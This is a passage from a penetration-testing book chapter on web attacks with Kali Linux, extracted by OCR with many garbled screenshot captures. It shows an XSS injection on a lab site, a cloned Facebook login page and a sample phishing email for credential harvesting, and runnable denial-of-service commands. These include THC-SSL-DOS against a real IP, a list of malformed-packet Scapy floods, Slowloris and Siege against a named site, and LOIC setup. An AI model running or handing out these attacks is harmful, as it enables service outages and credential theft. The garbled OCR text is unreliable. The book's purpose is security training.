default for ZAP proxy.
8.	 Check the box for using the proxy server for all protocols.

load any URL in Firefox. You will see the 
websites are now showing up in ZAP under the Sites tab. In this example, we went 
to www.DrChaos.com and noticed we have quite few sites that were loaded because 
of all links on the www.DrChaos.com homepage:

ZAP has the option to run active or passive scanners. Passive scans don't perform 
attacks and should be safe to run on any web application. Active scans run a number 
of attacks and are actively running codes against web applications, which could 
trigger alarms for certain security defense products.

http://itbookshub.com

[ ;; ]

Si

toJ i- : httpV/s.gravatar.com

P http://sO.wp.com

P http://s7.addthis.com

http / /segment-pixel, invitemedia.c

P http //stats.wordpress.com

_j P http://tacoda.atatwola.com

http //themes.googleusercontent.c

http://tracking.hostgator.com

P http://www.drchaos.com

P http //www.facebook.com

P https://apis.google.com

P https://platform.twitter.com
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The following example will be using both active and passive scans. It is a good idea 
to have a web server you can test rather than trying out ZAP on an unauthorized 
server. Because we want to practice on a vulnerable web server we are authorized  
to test against, we will go back to using the Google Gyuyere project.

Google has created the Gruyere project as a means to test web application exploits 
and defenses .The Gyuyere project website has several vulnerabilities embedded 
into it, including XSS. You can run your own Gruyere project online, or you can 
download it to a local machine for your testing:

Create your own instance of Gruyere to test ZAP. When you do you will be given 
your own unique URL. We were given http://google-gruyere.appspot.
com/326352883334/ for our URL.

We will go back to ZAP and do a quick scan of this URL:

http://itbookshub.com

Web Application Exploits and Defenses

A Godelab by BOJCC Lcban, Mugdha Bcndrc, and Parisa Tabriz

X_ Break* Quick Start -ÿ Request Response

Welcome to the OWASP Zed Attack Proxy (ZAP)

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applica

Please be aware that you should only attack applications that you have been specifically been giv

To quickly test an application, enter its URL below and press 'Attack'.

URL to attack http:/ /google 1/326352883334/

[ y Attack Stop

Attack complete - see the Alerts tab for details of any issues foundProgress:

For a more in depth test you should explore your application using your browser or automated re

* Active ScanSearch X Break Points Alerts # Fuzzer [ , Params“ History Spider /•' Forced Browse

: U I II mSite google -gruyere.appspoLcom:80 100% Current Scans:0 I URIs Found: 71

Processed Method URI Flags

SEED

SEED
SEED
SEED

GET http / /google-gruyere.appspot.com/3263S2883334/editprofile.gtl

http / /google -gruyerejppspot.com/3263S2883334/logout

http / /google-gruyere.appspot.com/3263S2883334/newsnlppet27snippet

http //google-gruyerejppspot.com/3263S2883334/upload2

http / /google-gruyere jppspot.com/3263S2883334/saveprofileTaction-update8iCOlor-ZAP&icon-ZA... SEED

GET

IGET
GET
GET

Ti
http / /google-gruyerejppspot.com/3263S2883334/

http / / news.google.com/ news/search?q-brie
http / /google-gruyere jppspot.com/3263S2883334/snippcts.gtPuid-cheddar

http / /images google.com/lmages7q-cheddar%2Bcheese

http / /google-gruyerejppspot.com/3263S2883334/snippets.gtPuid

http //google-gruyerejppspot.com/3263S2883334/ZAP

GET
GET OUT_OF_SCOPE

GET

GET OUT_OF_SCOPE

GET

GET

Current Scans >1 OÿVO WO 0Merts FM) r*0 . 3 f* 2

www.freepdf-books.com



Web Attacks

[ 228 ]

The screenshot example shows a bunch of SEED
interestingly labeled: http://google-gruyere.appspot.com/326352883334/
invalid.

When we place this in a browser, we get the following error message:

When it comes to XSS, the most dangerous characters in a URL are < and >. If a 
hacker can get an application to insert what they want in a page using < and > 
directly, then that opens a door to inject malicious scripts. Here are some other 
interesting SEED

http://itbookshub.com

tfi M

4- CD google-gruyere.appspot.com/326352883334/invalid

Home

Invalid request: /invalid

V J

O D google-gruyere.appspot.eom/326352883334/x

Home

( Invalid request:Ax

X 7
O j 0 google-gruyere.appspot.com/326352883334/96cO%be%c096bc

Gruyere System Alert

Exception:

Ct 0 google-gruyere.appspot.eom/326352883334/%26gt:%26lt

Home

( Invalid request: Ax
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Here is an example of taking advantage of one of these SEED links by injecting a 
script. We will create a URL and add the alert(1) script to see if the website will 
create a popup error:

http://google-gruyere.appspot.com/326352883334/ 
<script>alert(1); 
  </script>

The example shows our target web application server issue a popup proving that 
this site is vulnerable to an attack. We can use ZAP to replay the attack, try other 
attacks, or test similar XSS methods.

them to generate a sensitive output for your Penetration Testing exercises. The Gruyere 

To defend against remote attacks, ZAP can be great for testing web vulnerabilities such 
as XSS attacks. Some people believe that users don't need to be concerned with XSS 

that it has XSS defense capabilities. 
The truth behind that concept is that trust in browser protection can't be perfect, based 
on the principle that browsers are not aware of how secure the code is behind the 
web application. Clever hackers may be able to circumvent that protection, such as 
exploiting an XSS vulnerability and issuing scripts against hosts visiting the website. 
Best practices for protecting your server and clients accessing your applications is 
identifying and remediating vulnerabilities using a tool such as ZAP.

http://itbookshub.com

«ne Cruyere: Error

1+1Cruyere: Error

| <% google-gruyere.appspot.com »t>

Getting Started Time M Cmail iCIoud Q Tech -
>T| HH’ Coogle 5 SJ®

FT Ethical Hacking - » Bookmarks -o Most Visited * applctv-hd - TPB

Home Sian in I Sian up

)( Invalid request:/

1

OK
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SET password harvesting
We examined the basics of the Social Engineering Toolkit (SET) in Chapter 4. We are 
going to revisit SET and look at some advanced concepts of password harvesting and 
capturing privileged information.

As a refresher, we will launch SET by going to Exploitation Tools | Social 
Engineering Tools | se-toolkit.

 
and verifying whether GIT is installed can be found in Chapter 4.

When SET clones a website, it will run a web server. It is important 
that whoever is being targeted is able to connect to your web server. 
This means any Internet-based attack will need to leverage a public 
IP address (either through NAT or directly on Kali Linux), as well as 

We will now use SET to harvest passwords. SET has the ability to clone any website 
you want. We are actually going to pick one of the most popular social engineering 
sites in this example to clone. Agree to any license agreements you may come across 
with SET:

http://itbookshub.com

root@kali:/usr/share# cp backup.set /config/set_config set/config/set_config
root@kali:/usr/share# se -toolkit

IMPORTANT NOTICE! The Social -Engineer Toolkit has made some significant
changes due to the folder structure of Kali and FSH (Linux) .

All SET dynamic information will now be saved in the -/.set directory not
in src/program_junk.

[!] Please note that you should use se-toolkit from now on.
[!] Launching set by typing 'set' is going away soon...
[!] If on Kali Linux, just type 'se-toolkit' anywhere...
[!] If not on Kali, run python setup.py install and you can use se-toolkit anywhere..

Press {return} to continue into SET.|_
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Selecting option 5 is recommended to update SET prior to using the tool 
to ensure you have the latest updates. If you receive an error stating no 
GIT repositories exist, you may have installed GIT incorrectly, or the 
steps have changed since the writing of this text. Refer to the publisher's 
website, Aamir Lakhani's blog at www.DrChaos.com or Joseph Muniz's 
blog at www.thesecurityblogger.com for more tricks on using SET 
with Kali Linux.

1.	 Once SET is updated, select option 1 for Social-Engineering Attacks.
2.	 Select option 2 for Website Attack Vectors
3.	 Select option 3 for Credential Harvester Attack

You have a few choices on how you want to clone a website. SET has templates for 
popular sites, such as Facebook and Gmail. Sometimes these templates don't work; 
however, we recommended starting with these or cloning another website. To clone 
a website, you need a URL, and SET will automatically try to clone it.

select custom import. When you select this option, you will need to tell Kali where 

http://itbookshub.com

root@kali: *•

File Edit View Search Terminal Help

THIS SOFTWARE , EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

The above licensing was taken from the BSD licensing and is applied to Social -En
gineer Toolkit as well.

Note that the Social -Engineer Toolkit is provided as is, and is a royalty free o
pen-source application.

Feel free to modify, use, change, market, do whatever you want with it as long a
s you give the appropriate credit where credit
is due (which means giving the authors the credit they deserve for writing it).

Also note that by using this software, if you ever
see the creator of SET in a bar, you should give him a hug and buy him a beer. H
ug must last at least 5 seconds. Author
holds the right to refuse the hug or the beer.

The Social -Engineer Toolkit
planning on using this tool tofrXInal

not authorized by the company you are performing assessments for, you are violatl
ing the terms of service and license of this toolset. By hitting
yes (only one time) , you agree to the terms of service and that you will only us
e this tool for lawful purposes only.

|Po you agree to the terms of service [y/n] :|_

id not evil. If you areu
S re

i
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For our example, we will choose web templates. SET will ask on what IP address 
it should listen. This will be the IP address for the interface on Kali Linux. The 

the NAT or public address rather than IP address on Kali Linux so that targets can 
access the system. The next example will use the local loopback address of 127.0.0.1. 

Next, SET will ask to select a template. For this example, we will select Facebook.

The next example shows a web browser going to 127.0.0.1 and displaying our fake 
Facebook page. If a template page does not look quite right, you may want to use a 
different template or clone the desired page:

Notice our address bar states 127.0.0.1. Typically, you will need to use some other 
attack vector to fool users to go to your website. There are numerous ways to do this, 
such as sending them a link or a fake email:

http://itbookshub.com

Welcome to Facebook - Log In, Sign Up or Learn More - Iceweasel

File Edit View History Bookmarks Tools Help

D Welcome to Facebook - Log In. ... j V|

41 |& r-,;ips //127 0.0 1

Most Visited v IJOffensive Security 'V Kali Lmux Kali Docs QExploit-DB \Aircrack-ng

* <7

facebook

Sign Up
Connect with friends and the
world around you on Facebook.

It’s free and always will be.

First Name Last Name y

Your Emailm See photos and updates from friends in News Feed,

Re-enter Email

Share what's new in your life on your ttmetne. New Password

Facebook <wwt.secmob@gmail.com>

To: Aamir Lakhani <Aamir.Lakhani@wwt.com>

Facebook

May 29, 2013 5:49 PM

Sent Mail

Dear Facebook user,

In an effort to make you online experience safer and more enjoyable, Facebook will be implementing a
new login system that will affect all Facebook users. These changes will offer new features and
increased account security.

Before you are able to use the new login system, you will be required to update your account.

Please click on the link below to update your account online now

www.facebook.com

If you have any questions, reference out New User guide.

Thanks,

The Facebook Team

Facebook will never ask you for your password in an email or Facebook message. Learn more about
how to keep your account secure.
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SET will also redirect users to the real website. The hope is that the victims will 
believe they entered their password wrong when redirected to the real Facebook and 
continue using Facebook without knowing that SET captured their login credentials:

The previous example shows SET had captured our username: , and our 
Password as ILoveKali.

When you have completed this exercise, press Ctrl +C to exit the SET tool, and 
generate an HTML report. SET creates a professional report that can be used in  
your Penetration Test reports:

http://itbookshub.com

root@kali: "

File Edit View Search Terminal Help

[*] Cloning the website: http://www.facebook.com
[*] This could take a little bit...

The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[*] The Social -Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
127.0.0.1
127.0.0.1
[*] WE GOT A HIT! Printing the output:
PARAM: charset_test=€ ,7k ,fl,G
PARAM: locale=en_US
POSSIBLE USERNAME FIELD FOUND: non_com_login=
POSSIBLE USERNAME FIELD FOUND: email =DrChaos
POSSIBLE PASSWORD FIELD FOUND
POSSIBLE PASSWORD FIELD FOUND
PARAM: charset_test=€ ,TK ,JI,6
PARAM: lsd=Bi_FQ
[*] WHEN YOU’RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

[ ll/Jun/2013 22:18:14] ’’GET / HTTP/1.1" 200 -
[ ll/Jun/2013 22:18:29] "GET / HTTP/1.1" 200 -

K
h

SecMai 1?
Home of the Social-Engineerioalkit

The Social-Engineer Toolkit (SET) Report Generator
El '•port a

Report generated by the Social-Engineer Toolkit

Welcome to the Social-Engineer Toolkit Report Generation Tool. This report should contain information obtained during a
successful phishing attack and provide you with the website and all of the parameters that were harvested. Please remember
that SET is open-source, free, and available to the information security community. Use this tool for good, not evil.
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Fimap

Fimap is a Python tool that can 

Fimap can be found under Web Applications | Web Vulnerability Scanners | 
. When you open Fimap, a terminal window opens displaying the home 

screen. Fimap has a few plugin options, which you can download by using the 
following command:

fimap --install –plugins

All available plugins will be displayed as a list, with the option to select one to install 
or else quit. In the following example, there are two available plugins to install. You 
will have to run the install command twice to install each plugin individually:

target by specifying the URL. There 
are options for specifying a URL, a list of URLs using Google to acquire URLs, or other 
methods such as harvesting URLs from other URLs, as well as looking at forms and 
headers. For the following example, we will target www.thesecurityblogger.com.

http://itbookshub.com

Jf,

T

root@kali :~# fimap - -install -plugins
fimap v.09 (For the Swarm)

: : Automatic LFI/RFI scanner and exploiter
:: by Iman Karim (fimap.dev0gmail.com)

Requesting list of plugins...
###############################################################################ÿ

##################################
#LIST OF TRUSTED PLUGINS

#
l###############################################################################ÿl

##################################
#[1] Weevils injector by Darren "Infodox" Martyn <infodox@insecurety .net> - At v
ersion 2 not installed.
#[2] AES HTTP reverse shell by Darren "Infodox" Martyn <infodox@insecurety .net>
- At version 1 not installed.
#[q] Cancel and Quit.

#

#

#
###############################################################################ÿ/

##################################
Choose a plugin to install :
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To scan thesecurityblogger.com website, type the following command:

fimap -u 'http://wwwthesecurityblogger.com' 

Denial of Services (DoS)
Typically, a Penetration Testing exercise is focused on identifying the gaps in 
security rather than harming a system. This is a key feature that separates a real 
attacker from an authorized Penetration Tester. Real hackers don't follow the rules 
and are not concerned about interrupting business if it can improve their situation. 
In some cases, a hacker is looking to create any form of negative impact on a target, 
including taking down critical systems. For this reason, it makes sense in some cases 
to test systems for the risk of Denial of Service (DoS) type attacks. This is commonly 
termed as stress testing your Internet facing services.

It is absolutely critical to have an approval to test an asset for DoS 
vulnerabilities. Some attack methods may have a negative impact to 
a system post-Penetration Test. It is advised to test against redundant 
systems, lab equipment, or nonproduction systems if possible.

information (IE remove route tables), state information (TCP session resetting), or 
anything that can harm system operation.

The difference between a DoS and Distributed Denial of Service 
(DDoS) is that a DoS attack involves one machine while a DDoS 
attack involves many. DDoS is out of scope for this text.

http://itbookshub.com

li:~# fimap --force-run -u "http ://www.thesecurityblogger.com/?p=2475
fimap v.09 (For the Swarm)

: : Automatic LFI/RFI scanner and exploiter
:: by Iman Karim (fimap.dev@gmail.com)

SingleScan is testing URL: ' http://www.thesecurityblogger.com/?p=2475 '
[23:19:29] [OUT] Inspecting URL ' http://www.thesecurityblogger.com/?p=2475 ' . . .
[23:19:29] [INFO] Fiddling around with URI
Target URL isn't affected by any file inclusion bug :(

root@kali:~# I

[ ]
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There are four major DoS/DDoS attack categories:

Volume Based Attacks: It 
purpose is to saturate the bandwidth of  

the victim website.
Protocol Attacks: It consumes resources of servers or intermediate 

 

fragmented packets, and so on.
Application Layer Attacks: It leverages legitimate 
service. The examples include Zero-day attacks, vulnerability exploitation, 
and so on.
Session Exhaustion: Abusing session limitations by repeatedly establishing 
but not closing new sessions with the goal of consuming resources.

Kali Linux contains multiple vulnerability exploitation tools covered in previous 
chapters that can be used for Application Layer DoS attacks such as Metasploit. 
Also, Chapter 3 covered a popular Protocol DoS tool Scapy. Here are a few more tools 
available in Kali Linux to perform DoS attacks:

To test DoS, you can use www.upordown.org to view whether 
a website is available.

THC-SSL-DOS
The Secure Socket Layer (SSL) protocol is used to secure connections and 
transactions over the Internet. Establishing a secure SSL connection requires 15x 
more processing power on the server than client. THC-SSL-DOS exploits this 
asymmetric property by overloading the server until it is unable to provide any 
service to legitimate users. The attack exploits the SSL secure re-negotiation feature 
to trigger thousands of re-negotiations using a single TCP connection. This is known 
as an SSL-Exhaustion attack. The advantage of this approach is that the processing 
capacity for SSL handshakes is far superior at the client side, meaning that a common 
laptop over an average network connection can challenge a web application server. 
This is a known vulnerability, and no real solution exists to remediate this as of the 
writing of this text.
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To access THC-SSL-DOS, navigate to Stress Testing | Web Stress Testing | thc-ssl-
dos. This will bring up a terminal window with the homepage for THC-SSL-DOS. To 
run THC-SSL-DOS against a target, type t:

thc-ssl-dos [options] <ip of the victim> <port> and --accept

You must include --accept or you will get the following error message:

Once THC-SSL-DOS is executed, you will see some funny verbiage stating it is 
starting and the handshake process being exploited. In the following screenshot,  
we will show a website that doesn't leverage SSL; hence showing connection errors. 
The second screenshot shows the successful handshakes, which will eventually  
DoS the target. Remember, you should only attempt this on IPs and sites you  
have permission to test. These attacks could severely damage a web site or  
web application:
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$s. ERROR:
Please agree by using ' - -ate£ptu-,6pifieiJiLthat-ÿtheJ IPMte'ÿ-lfegMiiTiate target
and that you are fully authorized to perform the test against this target.
rootgkali:-#|

root@kali:~# thc-ssl-dos 50.87.145.132 --accept

\ / I \ \_ \

I I /
I I \ Y /\
I_ I \_l / \

\/ \ \/
\

/
\/ \/

http://www.thc .org

Twitter (ahackerschoice

Greetingz: the french underground

Waiting for script kiddies to piss off
The force is with those who read the source...
Handshakes 0 [0.00 h/s] , 1 Conn, 0 Erf
Handshakes 0 [0.00 h/s], 3 Conru 0 Br('
SSL: error :140770FC:SSL routines-:SSL23ÿGET_SERVER_4lEbLCLrfcinknown
#10: This does not look like SSL!

protocol

Waiting for script kiddies to piss off
The force is with those who read the source,.

Handshakes 0 [0.00 h/s], 1 Conn, 0 Err
Handshakes 13 [66.49 h/s], 10 Conn, 0 Err
Handshakes 180 [168.27 h/s], 19 Conn, 0 Err
Handshakes 357 [176.74 h/s] Conn, 0 Err
Handshakes 543 [185.76 h/s], 44 Conn, 0 Err
Handshakes 698 [155,41 h/s] , 51 Conn, 0 Err
Handshakes 842 [144.06 h/s], 58 Conn, 0 Err
Handshakes 987 [144.99 h/s], 64 Conn, 0 Err
Handshakes 1138 [151.00 h/s], 69 Conn, 0 Err
Handshakes 1296 [157.78 h/s], 73 Conn, 0 Err
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Scapy
One of the most popular DoS tools is Scapy. Scapy is a packet manipulation tool for 
computer networks, written in Python by Philippe Biondi. Scapy can forge or decode 
packets, send them on the wire, capture them, and match requests and replies. Also, 
it can handle tasks such as scanning, tracerouting, probing, unit tests, attacks, and 
network discovery.

One common trick is to manipulate TCP packets from Kali and send it out via Scapy. 
To start Scapy, type scapy in the terminal window. Once scapy has been launched, 
type in command syntax:

In this following screenshot, we are going to use Scapy to send malformed TCP 
packets to our test server. In this use case, our test server is 10.0.0.1. This could be a 
router or a web server. Also, we are going to specify the number of packets we will 
send to our destination. In this case we are sending 2000 packets using the command:

send(IP(dst="10.0.0.1",ttl=0)/TCP(),iface="eth0",count=2000)

In the previous command line, we are sending 2000 packets from our eth0 interface 
on our Kali server to the destination address 10.0.0.1. Also, we are sending 
the target a time to live value of 0. This is pretty much impossible from a TCP 
standpoint. Essentially, we are trying to confuse the web server with a bad TTL 
value. Attackers in real life send millions of these packets. It should be noted that a 
system under the right circumstances may crash or become corrupt from a single bad 
or malformed packet. We can adjust the count or other parameters we may need to 
for our attack:

Here are some other popular attack scenarios used by Scapy:

Bad IP Version

send(IP(dst="10.0.0.1", src="10.20.30.40", version=0)/ 
  TCP(dport="www"), iface="eth0", count=2000)

http://itbookshub.com

root@kali:~# scapy
INFO: Can't import python gnuplot wrapper . Won't be able to plot.
WARNING: No route found for IPv6 destination :: (no default route?)

Welcome to Scapy (2.2.0)
»>

root@kali:~# scapy
INFO: Can't import python gnuplot wrapper . Won't be able to plot.
WARNING: No route found for IPv6 destination :: (no default route?)

Welcome to Scapy (2.2.0)
»> send( IP(dst="10 .0 .0 .1" ,ttl=0) /TCP( ) ,iface="eth0" ,count=2000)
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send(IP(dst="10.0.0.1")/TCP(chksum=0x5555),iface="eth0",count=2000)

send(IP(dst="10.0.0.1")/TCP(flags="",seq=555),iface="eth0", 
  count=2000)

send(IP(dst="10.0.0.1")/TCP(flags=0x0ff),iface="eth0",count=2000)

send(IP(dst="10.0.0.1")/TCP(flags="F"),iface="eth0",count=2000)

Header Length > L2 Length

send(IP(dst="10.0.0.1", src="10.20.30.40", ihl=15L)/TCP(dport="www"), 
  iface="eth0", count=2000)

Header length Too Short

send(IP(dst="10.0.0.1", src="10.20.30.40", ihl=2L)/TCP(dport="www"), 
  iface="eth0", count=2000)

send(IP(dst="10.0.0.1")/ICMP(),iface="eth0",count=2000)

send(IP(dst="10.0.0.1", src="10.20.30.40", chksum=0x5500)/ 
  TCP(dport="www"), iface="eth0", count=2000)

send(IP(dst="10.0.0.1", src="10.20.30.40", frag=1)/TCP(dport="www"), 
  iface="eth0", count=2000)

IP Length > L2 Length

send(IP(dst="10.0.0.1", src="10.20.30.40", ihl=5L, len=80)/ 
  TCP(dport="www"), iface="eth0", count=2000)

send(IP(dst="10.0.0.1", src="10.0.0.1")/TCP(dport="www"), 
  iface="eth0", count=2000)
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L2 Length >> IP Length

send(IP(dst="10.0.0.1",len=32)/Raw(load="bla-bla-bla-bla-bla-bla- 
  bla-bla"),iface="eth0",count=2000)

send(IP(dst="10.0.0.1",len=32)/UDP(dport=80,len=48)/Raw(load= 
  "bla-bla-bla-bla-bla-bla-bla-bla"),iface="eth0",count=2000)

send(IP(dst="10.0.0.1",len=32)/ICMP()/Raw(load="bla-bla-bla-bla- 
  bla-bla-bla-bla"),iface="eth0",count=2000)

No L4

send(IP(dst="10.0.0.1", src="10.20.30.40"), iface="eth0", count=2000)

send(IP(dst="10.0.0.1")/TCP(flags="FS"),iface="eth0",count=2000)

send(IP(dst="10.0.0.1", src="10.20.30.40")/ 
  TCP(dport="www", dataofs=15L), iface="eth0", count=2000)

Short 

send(IP(dst="10.0.0.1", src="10.20.30.40")/ 
  TCP(dport="www", dataofs=1L), iface="eth0", count=2000)

Slowloris
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Slowloris HTTP DoS
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Slowloris is a low bandwidth HTTP client that can issue DoS attacks. What makes 

techniques. Slowloris holds connections open by sending partial HTTP requests. It 
continues to send several hundred subsequent headers at regular intervals to keep 
sockets from closing. This behavior will overwhelm the target's resources, making 

the sockets become available for Slowloris to consume. Nevertheless, Slowloris 

Slowloris takes advantage of servers that use threaded processing, meaning 
vulnerable to limiting the amount of threading permitted. Examples include  
Apache 1.x, 2.x, dhttpd, GoAhead, and so on.

Slowloris does not come installed on Kali Linux. You can download Slowloris from 
http://ckers.org/slowloris

To run Slowloris, download the .pl script and open a command terminal. Go  
to the folder with the script and type:

perl slowloris.pl

This will bring up the main screen. To run Slowloris on a target, type the  
same command followed by -dns and your target. For example, to attack  
www.thesecurityblogger.com, type:

perl slowloris.pl -dns thesecurityblogger.com
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CCC008888800C008@@8880Ccc : : :cC008880c
0000008888800008@8@80oc : . :
00000888@8@888888880o: . .
C000888(a888888888880o: .
CCCC0088888808888880O.
coooCC08@8800808880o: : :
:ccooooC08880000800c . . :
. : : :cooccco08000000C: . .

:ccccoCCOOOOOCc .

cCOOOOOOOOOOOc . :cooooCCCOOOOOOOOO
.co0008880000CoooooccoC00000C0000

:oOOOOOOOOOCCoocooCoCoCOOOOOOOO
. . .cCCCOOOoooooocccooooooooCCCOO
. : . .ccoCCCooCooccooccccoooooCCCC
: . . iccCoooooccoooocccccooooCCC

. . :cooCooooccccc : : : :ccooCCooC
: : : :cooooooC
. : : : :coooooo
: : :coocccccc
. :ccocccc :co
:: :cccc :cooo
: : :cc : : : :coC
. : : : :c :cccco
. : : : : :ccoocc

:ccco

c008088c .
. . .c08880c . .

.08888C :
.08O0. .c0880o:.....:c080c . .

.co8@8Coc : : . .
: :

____
coC08@800CC0c : . . ......:oC08@8@880CCCoccccc : :c : : . :oCcc : : :cccc :

cCCCCCCoocc :c0888@88880000C000Coocc : : . :cocc : :cc : : : . .
. :coCCCCCCC08800008000CCooCCCooccc : : : :ccc::::::
.... :oCCoooooC00CC0CCCoccococc......coocoooCCoco: : :ccccccc: : :ccc: :

.0CO0 .

:ccoooocccc

coc : : : :

. :cccoCooc : . . : :cccc : : :c :..............: . . . :cooc : :cccccc : . . . .
. . . . : :cccc : . : iccoocc :

Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
Usage :

perl slowloris.pl -dns [www.example.com] -options

for help with options.

pi -dns thesecuritybloggerlc

Type 'perldoc slowloris.pl'

oot@kali:-/Desktop# perl slowTroris.p om|
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You will see Slowloris consume available sockets, which will eventually take down 
your target:

If Slowloris is able to do its magic, your target will become unavailable:

DoS example attack www.thesecurityblogger.com (please don't 
test against this website)

Low Orbit Ion Cannon
 ( ) is network stress testing tool, meaning it is designed 

The software has inspired other similar software such as JavaScript, LOIC, which 
allows a user to do stress testing directly from a web browser.

The software was famously used by Anonymous to help them facilitate DDoS attacks 
against several websites, including some very well-known public entities. Some 
legal arguments have been made that LOIC is similar to going to a website several 
thousand times; however, some American law enforcement groups treat the use of 
LOIC as a violation of the computer security and fraud act.

http://itbookshub.com

. . . . : :cccc : . : :ccoocc :
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client

Defaulting to port 80.
Defaulting to a 5 second tcp connection timeout.
Defaulting to a 100 second re-try timeout.
Defaulting to 1000 connections.
Multithreading enabled.
Connecting to thesecurityblogger.com :80 every 100 seconds with 1000 sockets:

Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.

ccco

It's not just you! www.thesecurityblogger.com looks down from
here.

[•;: ]
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To install LOIC, Open a terminal window and type:

apt-get update

aptitude install git-core monodevelop

apt-get install mono-gmcs

Once that is complete, go to the desktop directory using cd/Desktop and create a 
folder named loic using the following command:

mkdir loic

Navigate to that folder using cd/loic and type the following command:

wget https://raw.github.com/nicolargo/loicinstaller/  master/loic.sh

chmod 777 loic.sh

./loic.sh install

http://itbookshub.com

root@kali:~# aptitude install git -core monodevelop
The following NEW packages will be installed:

cli-common{a} git -core libart -2 ,0-2{a} libart2.9-cil{a} libbonoboui2-0{a}
libbonoboui2-common{a} libgconf2.0-cil{a} libgdiplus{a}
libglade2.0-cil{a} libglade2.0-cil -dev{a} libglib2.0-cil{a}
libglib2,0-cil -dev{a} libgnome-vfs2 .0-cil{a} libgnome2.24-cil{a}_

root@kali:~/Desktop/loic# apt -get install mono-gmcs

root@kali:-/Desktop# pwd
/root/Desktop
root@kali:~/Desktop# mkdir loic

root@kali:~/Desktop/loic# wget https:// raw.git hub .com/nicolargo/loicinstaller/ma
ster/loic ,sh|

root@kali:~/Desktop/loic# chmod 777 loic.sh

root@kali:~/Desktop/loic# ./loic.sh install
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If you don't get any error messages from running the script, then you are ready to 
update loic. To update, use the following command:

./loic/sh update

Finally, it is time to launch LOIC. You do so by using the following command:

 ./loic.sh run

Using LOIC is straightforward. You can select if you would like to use manual mode 
or IRC Mode. We will choose manual mode for the following example.

address 127.0.0.1 for the following example. LOIC offers attack options if you like  
to modify TCP or UDP settings.
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File Edit View Search Terminal Help

root@k«il i :~/Desktop/loic# ./loic.sh update

root@kali:~/Desktop/loic# ./"loic.sh run|

|Low Orbit Ion Cannon | U dun goofed |v. 1.1.1.26

PC server Port Channel

9Manud Mode (Do yourself) •PC Mode (HveMnd)

1 Select your target

6667 *otc Dice or 1

[Low'Orbits
Mon Camjom

•| | 3 Peady?-:

IMMA Ch
UPL

IP

r Lock on

Lock on

Selected target

NONE!
4L\

2 Attack options

TCP I UOP message

U dun goofed

HTTP Subsite
<» faster Speed

80 10TCP/

\
Pon Threads TMethod19 Append random chars to the subs*e ' messaoe

Attack status

Idle Connecting Requesting Downloading Downloaded - - |i

conv’flewEraCracfcer.'LOlÿ
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When you are ready to launch your attack, press the button 
MAH LAZER. LOIC will show the attack is in process. Click on the  
button to stop the attack:

Other tools
Kali Linux offers many tools that could be useful for web-based attacks. Here are 
some additional tools available in Kali Linux that have not been covered and could 
be used for remote Penetration Testing. 

DNSCHEF

DNSChef is a DNS proxy for Penetration Testers and Malware Analysts. A DNS 
proxy also 
analysis and other use cases. Domain Name System (DNS) is a distributed naming 
system for computers, services, or any resource connected to the Internet or private 
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PCterver Port C)«rra>

toeO Manual Mode (Do k vorseff) #PC Mode 0**Mnfl

piSelect your target

6667 Oacemecied

3 Peady?

UPL Lock on
(MMA CHARGIN MAH LAZER

P 127001 Lock i

target

X'
127.0.0.1

/
r~2 Attack opOont

TCP (UCP message

U Am gaoled

HTTP Sitoste
<•taster Speed stows

Q Wa* tor retPr

QUse Gi*> (HTTP)> \
£jKtub cc*Mie*&aCracker VOC
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For example, a DNS proxy can be used to fake requests for badguy.com to point to 
a local machine for termination or interception instead of a real host somewhere on 
the Internet. For this to work, you need to gain access and modify DNS entries on a 

DNSChef tool is easy to use; however, the challenge is the DNS attack method to 

SniffJoke

SniffJoke handles your TCP connection transparently, providing delay, modifying, 
and injecting fake packets inside your transmission. This process makes it extremely 

by a sniffer and what is transmitted by the client, making this inconsistent for the 

between two users without and with SniffJoke.
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Siege
Siege is a HTTP/HTTPS stress testing utility designed for web developers to 
measure the performance of their code under duress. Siege offers multi-threaded 
HTTP load testing and benchmarking 
number of concurrent, simulated users. Siege offers a regression, Internet simulation 
and brute force modes.

Stress Testing | Network Stress Testing | Siege:

To run Siege, type the following command:

siege [options] <target URL>

The following screenshot shows running Siege against www.thesecurityblogger.
com. The default user count is 15, as shown in the screenshot. When you stop the 
Siege testing, the tool provides a report post stress test as follows:
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SIEGE 2.70
Usage: siege [options]

siege [options] URL
siege -g URL

Options:
-V, --version
-h, --help
-C, --config
-v, --verbose

VERSION, prints the version number.
HELP, prints this section.
CONFIGURATION, show the current config.
VERBOSE, prints notification to screen.
GET, pull down HTTP headers and display the
transaction. Great for application debugging.
CONCURRENT users, default is 10
INTERNET user simulation, hits URLs randomly.
BENCHMARK: no delays between requests.
TIMED testing where "m" is modifier S, M, or H

--time=lH, one hour test.
REPS, number of times to run the test.

-g, --get

-c, - -concurrent=NUM
-i, --internet
-b, --benchmark

- -time=NUMm-t,
ex :

-r, --reps=NUM

:~# siege www.thGSGCuritybloggGr.comroot@ka
** SIEGE 2.70
** Preparing 15 concurrent users for battle.
The server is now under siege .\./. L
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Inundator
Inundator is a tool that evades Intrusion Detection Systems (IDS) and Intrusion 
Prevention Systems (IPS) 

reaction and forensic viewpoint. Inundator can also be used to test the effectiveness 
of the alerting system of your security reporting tools, such as SIEM and IDS/IPS.

TCPReplay
in libpcap format to test a variety of 

other devices, such as switches, 

anywhere in the network.
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Lifting the server siege...
T ransactions:
Availability :
Elapsed time:
Data transferred:
Response time:
Transaction rate:
Throughput :
Concurrency :
Successful transactions:
Failed transactions:
Longest transaction:
Shortest transaction:

done .
171 hits

100.00 %
93.22 secs
5.26 MB
7.25 secs
1.83 trans/sec
0.06 MB/sec

13.30
171

0
10.16
1.77

FILE: /var/log/siege .log
You can disable this annoying message by editing
the .siegerc file in your home directory; change
the directive ' show-logfile ' to false.
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Summary
This chapter concludes reviewing various methods available in Kali Linux 1.0 that 
could be used to perform Penetration Testing against web application servers. At 
this point, readers should know how to research a target, identify vulnerabilities 
in that target, as well as all associated interactions with host and clients, exploit 
vulnerabilities, and interrupt services if desired. This text is a brief overview of tools 
